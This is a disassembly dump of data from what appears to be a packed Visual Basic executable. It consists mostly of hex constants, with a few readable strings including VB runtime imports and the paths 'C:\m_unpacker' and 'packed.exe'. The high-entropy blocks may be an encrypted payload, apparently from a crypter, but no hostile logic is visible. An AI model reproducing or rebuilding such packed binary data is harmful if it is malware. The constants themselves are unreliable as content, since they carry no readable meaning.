		dd 0E555A638h, 6F7CF8D4h, 1E9E790Bh, 6DBE40D2h,	7CF8D77Eh
		dd 0EC32B57Ah, 7E5CE654h, 9896442h, 0D9B725BDh,	32CA1696h
		dd 9A2C05D0h, 71BD3D18h, 3D8B0AD9h, 0CFAD37A5h,	0D6E75516h
		dd 0AB3DA17Ah, 22A64DD0h, 4ED846DEh, 806A48B6h,	0F5D925A5h
		dd 5AF23EBEh, 0C2542DF8h, 0A299EB71h, 0A528ED70h, 0CF59C75Fh
		dd 0A8A9802Bh, 0DC37070Eh, 349h, 0D5B90B88h, 0F1D51B9Eh
		dd 8EC3CBAh, 23074FD1h,	3B1F6DECh, 0DB5A2786h, 0EE72A98Dh
		dd 0E8FC6AAh, 29A9E0C4h, 0B301F9DDh, 0F8D80B62h, 0FB9C6F7Ch
		dd 0BA3EF6Fh, 1768BC3Ch, 7AD6E5D4h, 5236C024h, 0CB1B9974h
		dd 734C17EDh, 0E41090E1h, 0F4587CFEh, 0B130E65Ch, 0E20BA5A4h
		dd 83E69F7Dh, 0A97CFEFDh, 7948E026h, 4A19B1F5h,	5E1380C8h
		dd 0FFD8B336h, 6C1D79D7h, 6E92FBCEh, 20000000h,	0B9E2016Ah
		dd 86184A6Eh, 0FE123635h, 0DE427Ch, 0EB12C829h,	3A18DF21h
		dd 0C277D64Eh, 589864FCh, 0FBA6E7B6h, 8719A3EBh, 0D6A53736h
		dd 1DF437Ah, 0F587602Bh, 0B74F991Ah, 30816B49h,	7CFEB1FCh
		dd 3B80187Ch, 7CFEB034h, 0C4431E0Eh, 9DC59876h,	0CE2AE743h
		dd 68964FBh, 993DF5Fh, 43AAFB71h, 0B77CFEACh, 0F9EBC953h
		dd 0D7h, 6FEDC89Ah, 5319871Fh, 0AA6ADCF4h, 3D805E33h, 488C10BDh
		dd 0D85726BEh, 3D3A3182h, 0F8497AD6h, 7AD63DF5h, 0A004A105h
		dd 2FAF7E16h, 0DDEF6FA7h, 6C573F21h, 98069EEEh,	0E2C67C0Eh
		dd 0F29D5AA0h, 569A1E09h, 39B98878h, 0C75C09EDh, 4D7AD671h
		dd 0BF9D81CDh, 7F1765E4h, 58A82611h, 0AB7377Ah,	1CB43E8Ah
		dd 0FE4CCBA6h, 8C0DF866h, 0C38E6442h, 0B50758EAh, 0C37CFE5Eh
		dd 0E6B17B5Fh, 22A7B0Dh, 767AD483h, 26A58012h, 3EBDF4D8h
		dd 2DC50D8Fh, 249135BFh, 77087790h, 1C34CA7h, 85020000h
		dd 95184F33h, 0B6346B4Fh, 0C94B8266h, 0E7669D81h, 0AD00B599h
		dd 1F0351D0h, 3C2064E8h, 563A8405h, 6F539F1Fh, 95D82977h
		dd 0E57CF8DAh, 0F06F7112h, 787BEA2h, 0DC0CD7BBh, 0D429FC11h
		dd 0AF13F9A5h, 0EA429325h, 8E7CFE99h, 30E2982Ah, 2B02C2Dh
		dd 789B22E8h, 33BB454Fh, 0C9206555h, 0E37CFE3Dh, 0B338D965h
		dd 78A30032h, 98756EEh,	1BD021B9h, 0C29B76F3h, 0BFEA469Ah
		dd 0D35FFBCDh, 0ED000000h, 0AC449412h, 6F89603Eh, 3C0BA3EFh
		dd 92D76FBDh, 7AD6E18Dh, 17B0383h, 0D98EBB15h, 578E72FCh
		dd 0B00183D7h, 7AD645BDh, 0F5F859BDh, 57AD644h,	1D7F17A1h
		dd 96E77952h, 7CFE6A06h, 0BD61B252h, 23E933B4h,	662C597Eh
		dd 16B00F3Ch, 66F8828Dh, 0DE5D0C8Bh, 0EC280690h, 0EC7E5722h
		dd 0D490329Bh, 50E2467Ah, 9C6E7DCEh, 268A7685h,	4835E48h
		dd 19F4D2B6h, 493C0F9Bh, 4F7149Ah, 9674E27Ah, 0E286D453h
		dd 877D4DDh, 0B2A702D2h, 0F1000000h, 73E2274h, 235A3E84h
		dd 3A7155A5h, 558C70B8h, 0EFA488D6h, 0F442C1BEh, 1155D910h
		dd 2B75F62Dh, 44901047h, 0C91A6860h, 7CF8A5A2h,	6F6203D6h
		dd 73C341F0h, 0F97C57E9h, 0CFAD1BB3h, 90DC5C93h, 0EF6FE1ACh
		dd 0BC3C0BA3h, 0AF478B0Fh, 9D3B741h, 51D3653Eh,	0E56F7ECFh
		dd 278B7AD6h, 0D5DB9049h, 0BB1F7CF8h, 84CC4E29h, 67E7B6A6h
		dd 2FAE891Bh, 0F67A49E1h, 0E4A28B2h, 730B57D7h,	9E0A892Eh
		dd 0E008BD75h, 9A2C78F8h, 59F141BFh, 9AD10DEBh,	6736CE1Ah
		dd 82059DE5h, 0AF2F0931h, 0C8487F63h, 900FEA7Ch, 5E3CAA42h
		dd 3136Eh, 6C6E0000h, 0A0F26FB5h, 6DB93908h, 3B8506D5h
		dd 0C50D4A3h, 0D826A574h, 0A4F27140h, 73BB3D0Ch, 3E8E0CDBh
		dd 0E54D7A6h, 5457ED76h, 4C7815Fh, 83000000h, 3C8704EFh
		dd 89525C24h, 4C281E2h,	81000000h, 4EAh, 24148700h, 241C895Ch
		dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 55243489h, 2E32B4BDh
		dd 8BEB8906h, 0C483242Ch, 4EC8304h, 81242489h, 42404h
		dd 525E0000h, 8152DA89h, 4B6D242Ch, 468F3722h, 8468108h
		dd 37224B6Dh, 2434FF5Ah, 4C4815Eh, 8B000000h, 8950241Ch
		dd 405E0h, 4050000h, 87000000h,	0E95C2404h, 0FFFB02FEh
		dd 7AF51282h, 180226B6h, 2E4155B8h, 0FFC50306h,	2F7ECCE0h
		dd 0C8617C49h, 19AB8623h, 0D4595246h, 0C1B6591Dh, 4ED27623h
		dd 0DF875C7Bh, 0D7905D70h, 475A6A4Eh
		dd 20734470h, 437BFE01h, 5487F43Dh, 0D51B8E25h,	0A31C3F4Bh
		dd 694ED81Fh, 0CF7DBC46h, 0F517FA23h, 72A1460Ch, 9BE2A935h
		dd 0E55C11Ah, 0F227FB01h, 0F6206A1Ah, 0B05325Ah, 846EE127h
		dd 59FA32Bh, 0E296D411h, 8D1C2926h, 0DC92860Fh,	14E832h
		dd 333F0000h, 0E03DF16Eh, 0FDB0BD8Fh, 6DD08154h, 30F84E3Ch
		dd 816612BCh, 5B63F8CAh, 1D8A0Fh, 11E80000h, 73000000h
		dd 3C6BEB92h, 7328C0ACh, 7FA2FDDEh, 0E231A7A5h,	890Fh
		dd 815A0000h, 6A56C3h, 0BF6BB200h, 0
		dd 663B0C8Bh, 0C181F38Bh, 1F1190E0h, 8161F960h,	2F76AFE9h
		dd 0F7BA664Bh, 81E98185h, 0F43DE67h, 0C89C2B7h,	5E93Bh
		dd 9CC10000h, 66EC0439h, 83C081h, 8B04EF83h, 50FF81D3h
		dd 0FFFFF96h, 0FFFFBB85h, 816660FFh, 0E98A54DEh, 0Fh, 9CE0B491h
		dd 139F4C2Eh, 0AB336A42h, 61D68EADh, 43CA8D8Dh,	8E9062Eh
		dd 5E000000h, 0C3A7876Fh, 8914354Eh, 2807158Dh,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0F610537h, 683h, 399D2B00h, 0C7062824h, 2821BD85h, 582006h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0C77996EBh, 0DF9BF7A6h, 85C7C68Ah, 628113Dh
		dd 0
		dd 1A458D89h, 0B5FF0628h, 62826BDh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 19C35545h, 3041EF11h, 14D995FFh
		dd 0DC8A0628h, 95FF006Ah, 6280465h, 29EBC08Bh, 0A0910E2Ch
		dd 0E7BC936Bh, 45750647h, 3011B0Fh, 3E0E63FAh, 7DB200D0h
		dd 189CEA1Ch, 9B5FF3A9h, 0C7FBBCE7h, 2209D788h,	0A98D8DC4h
		dd 8B062E44h, 2820D995h, 3CBFB806h, 8D8918DCh, 6280715h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0F5C35040h
		dd 0E83E57D5h, 0Bh, 0F4AD0928h,	7F463877h, 891F6E79h, 280C61BDh
		dd 9D0B5A06h, 62816B1h,	21BD85C7h, 6CD80628h, 0BD8B0000h
		dd 6283485h, 113D85C7h,	628h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 5A8874C3h
		dd 0F22B6887h, 0FF96BF0Eh, 2805E1B5h, 999D8906h, 0FF062826h
		dd 2814D995h, 819D8906h, 6A062816h, 6595FF00h, 8B062804h
		dd 90CEBC0h, 0EAA7F8EBh, 0DCA87175h, 0E9255D79h, 173h
		dd 18BC049h, 77E705C5h,	6D5C3A43h, 706E755Fh, 656B6361h
		dd 61700072h, 64656B63h, 6578652Eh, 3Bh	dup(0)
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		dd 5 dup(0)
		dd 0E9000000h, 1BFAh, 2E482068h, 399BE906h, 2668FFFAh
		dd 0E9062E49h, 0FFFA3991h, 2E4A7568h, 3987E906h, 5568FFFAh
		dd 0E9062E4Bh, 0FFFA397Dh, 2E4B9468h, 3973E906h, 5368FFFAh
		dd 0E9062E4Ch, 0FFFA3969h, 2E4CBA68h, 395FE906h, 0F68FFFAh
		dd 0E9062E4Dh, 0FFFA3955h, 2E54C668h, 394BE906h, 5968FFFAh
		dd 0E9062E55h, 0FFFA3941h, 2E561D68h, 3937E906h, 968FFFAh
		dd 0E9062E57h, 0FFFA392Dh, 2E576C68h, 3923E906h, 0F68FFFAh
		dd 0E9062E58h, 0FFFA3919h, 2E58A668h, 390FE906h, 3368FFFAh
		dd 0E9062E59h, 0FFFA3905h, 2E5F3568h, 38FBE906h, 5168FFFAh
		dd 0E9062E60h, 0FFFA38F1h, 2E60F368h, 38E7E906h, 1AEBFFFAh
		dd 0D5A3A724h, 8A565AD7h, 35070B88h, 0F1BEC23Fh, 277376F3h
		dd 8E0B09D6h, 44C1BB8Ah, 0F6737540h, 0AB2822F2h, 498FF585h
		dd 0EB795DD5h, 10E0A318h, 0B2C5EC10h, 83C32751h, 7359CB11h
		dd 45AB6D7Fh, 23CDB5D9h, 0D450FADBh, 0F3C37740h, 0B98C7CF9h
		dd 0DFCA309Ch, 2D755BB3h, 0B1B167CDh, 1C3795Bh,	6F0301CFh
		dd 382C5113h, 795BB1E4h, 63E099DFh, 0C1594D16h,	0BAB587Ch
		dd 0D4E6FA43h, 44D8D2A2h, 2E58h, 21F48500h, 0AB329804h
		dd 0CD755BBEh, 0D4F8E60Bh, 4E4A2C9Ch, 0A4BA4EDBh, 795B3A70h
		dd 0FDCFF54Bh, 0BA737307h, 59D83C3Dh, 0C17AC1h,	0E0A70000h
		dd 3DF11610h, 994D7270h, 0F6AACFC9h, 6BAF2C26h,	7F738F65h
		dd 0CF3B3505h, 97D3096Fh, 62ED7F73h, 3B0AF60Bh,	0DC7032EAh
		dd 0EDE7B7BBh, 305528C8h, 0AFCB5EC4h, 0A12D755Bh, 3DA9F617h
		dd 6BB11796h, 0D795B67h, 27FE54Bh, 0AA163F12h, 27BBB584h
		dd 9A93B717h, 0F6C8CA44h, 187A9024h, 7C737558h,	5B284EBAh
		dd 0FDCE05Dh, 0CFFBA311h, 16F1B400h, 19735Fh, 0F9EFC000h
		dd 0ACAA787Ch, 5D5F2B2Fh, 140ADCE0h, 0C8C69397h, 0AB1A484Bh
		dd 5F63E0DEh, 15199690h, 0C7CB484Ah, 5A80FDF7h,	0DBB464CAh
		dd 0EDC0795Dh, 0AE80A678h, 0FD221CECh, 0A28AAF15h, 0A16B380Eh
		dd 0C8B0D5D3h, 11E1E562h, 0F4319A17h, 38980421h, 73930AD2h
		dd 517AB67Fh, 2DE54B30h, 0F1FB375h, 5B1B32A9h, 0E7B64475h
		dd 7AE0C8EDh, 29BF6155h, 7A47795Bh, 0C3E8DEB0h,	9C5075DBh
		dd 0D1ABD0CEh, 75E6A059h, 56B6762Fh, 5B2928F0h,	0F68A4C79h
		dd 59E95029h, 0A666C1h,	98BE0000h, 3BCFC9h, 0F11610E0h
		dd 4D72703Dh, 738F4B59h, 2923F37Fh, 0DED8A8ACh,	6CAC1272h
		dd 87F7397h, 89AEAC7Ah,	0DEA73BA1h, 0DE4A6B3Eh,	5B94D578h
		dd 8854775h, 0B4204518h, 7536474Eh, 0B887AD73h,	40CE2ABEh
		dd 0E3DDAC6Eh, 4BAB177Dh, 3A5785EBh, 9B677321h,	8B1FE199h
		dd 6DEAE8B5h, 309E9C69h, 0B4017D68h, 6DE29974h,	0BA000018h
		dd 7276F3E9h, 2529A6A4h, 0D6DA5759h, 8D910E04h,	4245C2C0h
		dd 0DAD8A514h, 908A595Dh, 42440F13h, 0F7F1C1C5h, 5EC4547Ah
		dd 795DDABEh, 0E072E7BAh, 94981513h, 0E44DCAC4h, 0B7B180A6h
		dd 0B77D4D23h, 585221E7h, 4A19CDF2h, 5F84EA50h,	75E1DBABh
		dd 4520AB51h, 9F42AD96h, 0A0CDFD40h, 6B693616h,	60507105h
		dd 0CBDE9E8Dh, 0B4A03CECh, 50B6B482h, 946B7EE4h, 4B0D755Bh
		dd 42123826h, 7A9EB448h, 45795B6Ch, 0B0C946FFh,	6C15A2Ah
		dd 10Ch, 4098FE5Eh, 40795A94h, 5A9402DAh, 0BC743679h, 0E52B66FAh
		dd 0C89AC086h, 13383A06h, 6F31C52Bh, 0A50B779Ch, 755B8696h
		dd 6AB218E0h, 0E795B9Eh, 0A27AE04Ch, 0D6795B9Eh, 0FC22AE14h
		dd 4DE526EAh, 0C8345124h, 990AB362h, 88DD01AFh,	7150C01Fh
		dd 9058B448h, 9968F22Ah, 5EC4869Fh, 0C6DACEF2h,	0ABB20110h
		dd 0D4BCE1DBh, 2311DA6Eh, 0F342EFDh, 8755BB27h,	0B19F9958h
		dd 0C6995BEFh, 870D319Dh, 101221A1h, 8E845688h,	0DDED8169h
		dd 0B4011D77h, 51BD7F95h, 2FCCBF1h, 5389EFDDh, 0E5986647h
		dd 5329BD23h, 80C8983h,	0A7A57238h, 2CE82h, 8CC6349Ah
		dd 5F4600h, 171E6E25h, 9A6B0000h, 552327A4h, 0AD6DA57h
		dd 0B5878B08h, 713E42BFh, 0A7F3F673h, 0E8B8956h, 0C4413B0Ah
		dd 76F3F5C0h, 2BA8A272h, 0C90F7505h, 6B795DD9h,	10E02398h
		dd 7E51F116h, 6083E955h, 5E755B5Eh, 0A64098FEh,	32F4795Bh
		dd 0A0343200h, 9C058244h, 9AC086E5h, 373502CCh,	0D1D39FD1h
		dd 6E30C4ACh, 0A80E7A9Bh, 755B8691h, 953757E3h,	0C5F5F7C3h
		dd 2288530Ah, 23527696h, 202CFE9h, 0E8E2B2E4h, 0E08C3E54h
		dd 6F42F274h, 0AD74DA46h, 13F80ACCh, 0FC211FEDh, 62248014h
		dd 63DD2F6h, 1E3224F5h,	0AFD3C18Ah, 0F5A951F3h,	0A3097543h
		dd 0EC0ADA75h, 0E7A93DFFh, 56582314h, 0DA5484EAh, 1EE0EC0Ah
		dd 8AE64CB8h, 0EEE6272Dh, 0CA9AC02Ch, 163B3504h, 474BC82Eh
		dd 0B50F7D77h, 3F21F76Dh, 163EAD64h, 0BA8B0000h, 754347C4h
		dd 2AF6FA77h, 0D5A7AB28h, 915E62DFh, 47131693h,	2EABA976h
		dd 0E4615B2Ah, 961315E0h, 4BC8C292h, 0E92F9525h, 8B795DD8h
		dd 10E043B8h, 0D506A816h, 0F3CEB853h, 15FF3Ch, 857B4C00h
		dd 38360408h, 0E9EBB7BBh, 0A096686Ch, 54521F23h, 3786D4D7h
		dd 0EBEF6C6Ah, 0A1A5221Ch, 5357D4D6h, 0E60C8983h, 0D828F056h
		dd 794C795Dh, 0E046A604h, 7F739338h, 10E67A3Ch,	81214640h
		dd 0B31985AEh, 755BAE1Ch, 0E848B476h, 4FB4B7C4h, 97B397Bh
		dd 795BC8D3h, 0EE0FA365h, 36098BEFh, 7C3BA10Dh,	767373DDh
		dd 502248B4h, 7096C65Ah, 0F8CB31Eh, 0B4204518h,	0A29F874Eh
		dd 8C9EDDDh, 0CAF51889h, 0A163BF53h, 0EC09DC7Ch, 0B47E1A80h
		dd 9622DA7Fh, 18FB426Fh, 248AF6D8h, 0CA3E29F4h,	0EC58BE80h
		dd 1F42EFC8h, 1AAE60D8h, 1A14E40Ah, 0CFC9999Dh,	1EE4F361h
		dd 0EBA27D0Dh, 1540h, 49C6BC8Dh, 0FC797745h, 0AD2A2CF8h
		dd 64E1D7A9h, 18959360h, 0AB784915h, 5D2C30ADh,	17E2E663h
		dd 0C4949815h, 97274DCAh, 5DDFEB31h, 45BA8D79h,	38E046A6h
		dd 3C7F7393h, 8D0E67Ah,	727F7393h, 7F7383AEh, 602AF81Eh
		dd 72C9294h, 0A3758B1Fh, 1B7F7393h, 7F73B3F9h, 0C9373101h
		dd 0B853F551h, 0D94900DBh, 26000014h, 0DEE25F55h, 91951210h
		dd 4246C3C5h, 0F9FD7A70h, 0AEB12E2Ch, 464411E0h, 0FCF6C5C9h
		dd 0AEB07B7Fh, 635D2D31h, 0CA30C0E6h, 795DDF12h, 0A6DE5326h
		dd 8EB3B580h, 7D5012A6h, 4786EC58h, 3D755BB1h, 24494B17h
		dd 8A4CA83Ch, 7BF7981Ch, 924924BEh, 1484h, 8D0A00D1h, 40BDBB89h
		dd 0F16E703Ch, 0A8251BEDh, 5CD9D7A4h, 0EFBC0D59h, 0A17074F1h
		dd 5B262AA7h, 8D8DC59h,	0DB6B910Eh, 5DDEA775h, 89FED179h
		dd 0F11610E0h, 4E736D3Dh, 4101BAB6h, 925AE61Dh,	5B293A77h
		dd 0EA50385Dh, 7CF08956h, 3EC6BB31h, 0F3000000h, 73937CA0h
		dd 1F284C7Fh, 9E98AF31h, 0D4A47A0Eh, 7B35710h, 0B117A83Fh
		dd 8ABA2145h, 91F4248Ah, 0BE807F73h, 81DDA38Eh,	0CB88CCEDh
		dd 0EF7F0E8Bh, 8C8E591Fh, 0E49BC026h, 13F4h, 1610E0EBh
		dd 0BCB284AAh, 9543A997h, 9F7F7393h, 1AE377DDh,	127EA77Ah
		dd 0FC211FECh, 10708014h, 93924AB0h, 0E4A67F73h, 5FA73A50h
		dd 4DD9755Bh, 0D2A32E75h, 0F9E70296h, 0A1A09D9Bh, 6858D53Bh
		dd 9E047095h, 73736C57h, 6C6A375Dh, 6FCB5F47h, 8D488ADh
		dd 254B8906h, 4533585Ah, 236439DFh, 13793B73h, 64B6697Fh
		dd 804E7323h, 67C70582h, 647BA107h, 3BFD7323h, 236413C9h
		dd 0CF632573h, 92612BF9h, 590D3298h, 0A1688D8Bh, 0F6C44A03h
		dd 0F9807BF8h, 0BDC78225h, 281h, 421F4EAh, 0AA4B3298h
		dd 6B2D755Bh, 0C6C49246h, 79774549h, 75406654h,	0D2664E73h
		dd 5BA918BCh, 0D9FF7179h, 0E80D0Bh, 2DB36C6Ch, 0F4E4615Fh
		dd 32980421h, 73739E83h, 57B723E5h, 23FA2BF1h, 0F78B4D73h
		dd 0E5AD7A2Eh, 0F7034155h, 85EB574Fh, 73238657h, 3CB91FE1h
		dd 486D6B38h, 23868254h, 0ECA50773h, 0D7B7082Ch, 2E60B8E7h
		dd 0F9F7C49Ah, 9B99678Dh, 0D9FA8E76h, 0AAA8759Bh, 47099D85h
		dd 7DE34F74h, 790B539Eh, 446AD698h, 6B537876h, 0FA200ED7h
		dd 0C49A2E2Ch, 797DFAF4h, 968AAFA9h, 6D0BD346h,	0A62CE547h
		dd 5B5FDCD6h, 0B66A8F8Dh, 0FEC5EAE8h, 0C1E7A760h, 895FF3F5h
		dd 240BDBBh, 0F75343DEh, 23B75E3Fh, 0A94D2356h,	7D496FCDh
		dd 0FCFBE77Bh, 53000000h, 3F645E2Dh, 0A688C357h, 9338E046h
		dd 7A3C7F73h, 3F4310E6h, 739303D9h, 0FF4BBD7Fh,	7A4A987Dh
		dd 0DC2236C2h, 0F5F113D8h, 1604298Fh, 28850B6h,	0EAAC7F73h
		dd 0E9B38056h, 13FB201Ah, 0DD1D41ADh, 6D5CEBECh, 0B6B666CCh
		dd 0C27F73h, 1ACF6A9Ah,	0E4ED6A83h, 22C08750h, 4485A969h
		dd 38275407h, 521FF589h, 55BBBD88h, 0D43A9AD8h,	7F73D604h
		dd 0DDA6E30h, 0BB31706Ch, 7E4Ah, 10E07700h, 1A807A4Ah
		dd 0B5768AAEh, 0A503CB2Ch, 0C4944811h, 0F43A5ECAh, 0B5680E26h
		dd 76AC9602h, 4C604846h, 99A27AE0h, 14D67F73h, 52F0B780h
		dd 7D431399h, 0A48CB1AFh, 0B3C6C13Eh, 3BB3135h,	3Bh, 3821F430h
		dd 9C086E68h, 5B5F2736h, 29895175h, 5BA615C3h, 0EB5D1F79h
		dd 795BA62Dh, 0EEECB947h, 9FD2288h, 795BA6D7h, 0F1B16AB0h
		dd 6AFE00CBh, 5960DC9Dh, 0AFDAC1h, 0F4070000h, 32980421h
		dd 755B5E9Fh, 0ADD33F01h, 824BDFE1h, 960200CEh,	8CC1D672h
		dd 0C795ECFFh, 0AECF63C9h, 4512DCAAh, 8BCE147h,	8A58723Ah
		dd 6E60EE0Ah, 7E1CE308h, 73713FC5h, 437EFBF6h, 6438C159h
		dd 90000000h, 0B312CA30h, 6426795Bh, 0C5C33134h, 69A6538h
		dd 1DF4CBh, 0ECE3494h, 2A7F7393h, 5EC4D468h, 0FF73939Eh
		dd 0FFF318DAh, 0FF7392DDh, 0C08039CDh, 6D6F3A60h, 7392DDFBh
		dd 19557FFh, 0DF45683Fh, 0FF739139h, 7A47793Bh,	4AAA167Ch
		dd 915484EAh, 1EE0FF73h, 9184748Ah, 2EF07F73h, 7AAB1h
		dd 0DDB10000h, 7Bh, 4814E0E4h, 302B04F3h, 52506448h, 0A125C306h
		dd 0FCB0D53Bh, 0AFB3302Eh, 1EBEE3E1h, 1CBC2245h, 187F73E6h
		dd 59BFBD8Ah, 0E65187EDh, 21E37F73h, 89EF4FBBh,	7F73E653h
		dd 0C68F23E5h, 73E611D2h, 0EBEDB97Fh, 454712C6h, 15CE4620h
		dd 6E94EA5Bh, 0A274A69Ch, 0B9F87ACh, 0A4D5520Bh, 0EEBB31A4h
		dd 12F0288Eh, 0C2847F73h, 0B11422Eh, 749A0000h,	0D084A9A7h
		dd 0F6DE0305h, 0F4C1FC90h, 0E5D9FE1Bh, 0F6DE5FA8h, 5212CB11h
		dd 3D625C2Ch, 85F4C155h, 0D44DC5Fh, 0D2273EE9h,	0EC80C87Ch
		dd 6600h, 1BF42D00h, 934A92F8h,	2CEE7F73h, 65345AC6h, 67C7D76Bh
		dd 4F747641h, 1FBDD367h, 197F7393h, 1E443257h, 4931564Ch
		dd 0C51B9FB5h, 10DF16E7h, 6D3DF116h, 519C4E73h,	0C93365A8h
		dd 26DF57AFh, 45A5FB6Ch, 2039DFh, 0E5793BD6h, 0CAAF2CE5h
		dd 0C864A4E2h, 488C8EA4h, 6799233Fh, 8F779C9Ah,	2600FFBh
		dd 0F43C0000h, 0F667FE1Bh, 1610E0CBh, 0E93B867Fh, 0BE3123A0h
		dd 3E16h, 1BF44300h, 46A667FEh,	0C1F11122h, 5EF2C598h
		dd 735E9548h, 79E5A77Fh, 5E65B319h, 4D0F7F73h, 1BA67EB9h
		dd 7B1214E0h, 0F359557h, 3A22473Dh, 739310C8h, 0CE62247Fh
		dd 2CDD93h, 0A6E40000h,	9338E046h, 7A3C7F73h, 2E4B24E6h
		dd 0CED09CC2h, 40A6FF3Ah, 7F73939Dh, 0FDF3C5EBh, 0F5CF0D8h
		dd 1BA6982Fh, 7B1214E0h, 0DCA06A57h, 26837570h,	0A0DE5B59h
		dd 0EE0AE7Ah, 0A50BF318h, 716B3B11h, 0BEC28F55h, 71F08058h
		dd 8CF2B463h, 825AC020h, 0B66371F0h, 355A5C28h,	0E9B5E74Dh
		dd 5D9353E7h, 6A3AC079h, 64C4E470h, 71F0DEFEh, 66985A63h
		dd 8F779C96h, 5B5525FBh, 0CC2D7E3Fh, 779D5D16h,	0B07DAFA5h
		dd 78481EB2h, 3C0CF27Eh, 93602642h, 71F75689h, 6ED43463h
		dd 6371F7AEh, 187408CAh, 20043A56h, 0E083A767h,	22A9742Ah
		dd 4D1DF387h, 14E1C753h, 6E42F116h, 27F5C38Eh, 0EA9EC329h
		dd 13F81D1Fh, 13EF8B1h,	47149A53h, 514F1D43h, 71FB39DFh
		dd 0D4AF3B63h, 3D390842h, 0F763C92Fh, 0E30802D1h, 424667FBh
		dd 965C7872h, 0AE1CBFC9h, 901E6371h, 435FC5C3h,	14E4B27Dh
		dd 0A70DF51Ah, 6FCCE82h, 0C37C1AE1h, 0B16A8009h, 2FCCBF1h
		dd 4C8986Eh, 95111285h,	0FFF9C995h, 268CF2DAh, 0EAE4B49Ah
		dd 5D970DCEh, 0A9A37399h, 0D65C1515h, 72744006h, 6635654Dh
		dd 0BE41923Eh, 4369D53Bh, 0E0E2AD73h, 7D7B487Ah, 0ACDC7058h
		dd 0E0FCF6C6h, 334F4D1Ah, 0DA6019FDh, 7EA4100Ah, 5F2EEBAFh
		dd 4701CDE6h, 40D4BCE1h, 46A6C510h, 935880E6h, 1ADC7F73h
		dd 739370A8h, 0BEBC8A7Fh, 37F9B199h, 3FDCDA3h, 0D0F6F66Ch
		dd 0F8E00503h, 1DF42964h, 3B866900h, 3123A0E9h,	2C92F2BEh
		dd 7C7393ECh, 4632C688h, 21h, 1DF473h, 9D40A669h, 9F7F7393h
		dd 46A646DDh, 0C1555320h, 1412E086h, 0DD6A577Dh, 36h, 1DF4E4h
		dd 0ECE3494h, 2A7F7393h, 6BD1CF9Ch, 40A69CD7h, 7F73939Dh
		dd 0B55FC7EBh, 5EA2846Dh, 319D7DCAh, 79AD6BD1h,	5C77F73h
		dd 1BA63671h, 7D1412E0h, 97A06A57h, 277F7382h, 0FFFD16F2h
		dd 7CA0F9FFh, 9A7F7393h, 0E927A4C1h, 93F52389h,	0BD7F7F73h
		dd 85875329h, 93AC6C60h, 0A2367F73h, 350329E9h,	930DCB31h
		dd 65277F73h, 0C9956BFFh, 78464AC7h, 360DFD7Ah,	0DC02F015h
		dd 2EA0F11h, 4049586Eh,	6CB2B909h, 7E4336B3h, 2A73FD87h
		dd 0A0000002h, 0B8AE80A6h, 99BEB486h, 0D4071DB1h, 7F7393h
		dd 0A86A3C2Dh, 0D1B9DED8h, 6E6C396Bh, 8FFB6149h, 5BBBAE29h
		dd 7642D075h, 1674F74h,	0B2B48084h, 0D0BD98Dh, 686634E8h
		dd 0B3D0A343h, 470EE147h, 0E2707373h, 41AF1517h, 0B4039EB5h
		dd 0CDAD643Fh, 1A00000Ch, 0D2D65349h, 85890604h, 363AB7B9h
		dd 0EDF16E64h, 0A2A52220h, 3A3805F4h, 0F0EAB9BDh, 0A2A46F73h
		dd 57512125h, 0BE24B4DAh, 795DC71Eh, 0E0D2471Ah, 86AA1610h
		dd 0FCCE49BAh, 0C9F9E106h, 0E97DC61Dh, 3E0C3220h, 17EAAC40h
		dd 0FA1C82EEh, 7A7521FAh, 5A264CB8h, 268CEC58h,	795D6EF6h
		dd 0B2CC082h, 14393B07h, 2A969060h, 6383604h, 31193E34h
		dd 6134D49Dh, 5478D844h, 68D62120h, 0A2B84CD9h,	7375169Fh
		dd 5BB11FE1h, 0A5B40508h, 0C3A13CAh, 0B6870000h, 713F43C0h
		dd 26F2F673h, 0D1A3A724h, 8D5A5EDBh, 430F128Fh,	2AA7A572h
		dd 0E05D5726h, 920F11DCh, 47C4BE8Eh, 0ED2B9121h, 87795DC6h
		dd 10E03FB4h, 1B817B4Ah, 968356F6h, 0F662C8CAh,	5BB3C590h
		dd 0DB6775h, 60023427h,	979B187Eh, 161CDC7h, 5B9E7D9Bh
		dd 0A135F779h, 92BD9080h, 30A29C6Ch, 795B9EE8h,	0C698CA8Ch
		dd 98FE6AD0h, 73094049h, 97BD29EBh, 395DC9CBh, 4BB9B907h
		dd 7A9B2F49h, 4E44163Ch, 1618E4BAh, 736D3DF1h, 0BADBAE4Eh
		dd 5088EE4Eh, 0E47325A2h, 187E8E22h, 790D9625h,	3FDD43A3h
		dd 0C16D0DCDh, 0FEDD5623h, 5A1CD481h, 0CA5E5828h, 0C43EAC6Eh
		dd 28AA2DDFh, 0B76964Dh, 0F2C30000h, 0AD7B7FFCh, 622E32AFh
		dd 0DDFE360h, 0C9969A17h
		dd 1F4B4ECBh, 66E3E1AEh, 1C999362h, 0CE4B4D18h,	8300FACAh
		dd 0B167CD5Dh, 0C3795DC5h, 10E07BF0h, 0A303F116h, 73939F3Dh
		dd 43D7997Fh, 1985AE81h, 2F0DF9F5h, 673A73A2h, 4E5B9BB2h
		dd 2939CD33h, 5B9CD4C3h, 86062A75h, 9CB91463h, 5C723B7h
		dd 54244A88h, 0B94D355Ah, 7D4B15E3h, 53A85A7Fh,	0DA898B07h
		dd 9C197FE5h, 4DCACC98h, 0B580A6E4h, 8A5D1FB3h,	0A497FD69h
		dd 22755BBCh, 9B2F31FCh, 0EB117D3Fh, 11F91E20h,	1CC0B47Dh
		dd 67795B84h, 8EEB6821h, 28C15946h, 7Fh, 1412E055h, 6F6D3BEFh
		dd 0CEC4964Ah, 2927F5A9h, 79486EACh, 0DD53CBB5h, 41A7132Bh
		dd 0DEA0341Ch, 5E7EE40Bh, 0DA7F73F3h, 0E046B218h, 755BD329h
		dd 0F11B894Bh, 0FBBE7B55h, 0A8A6920h, 6D70000h,	0C18F9310h
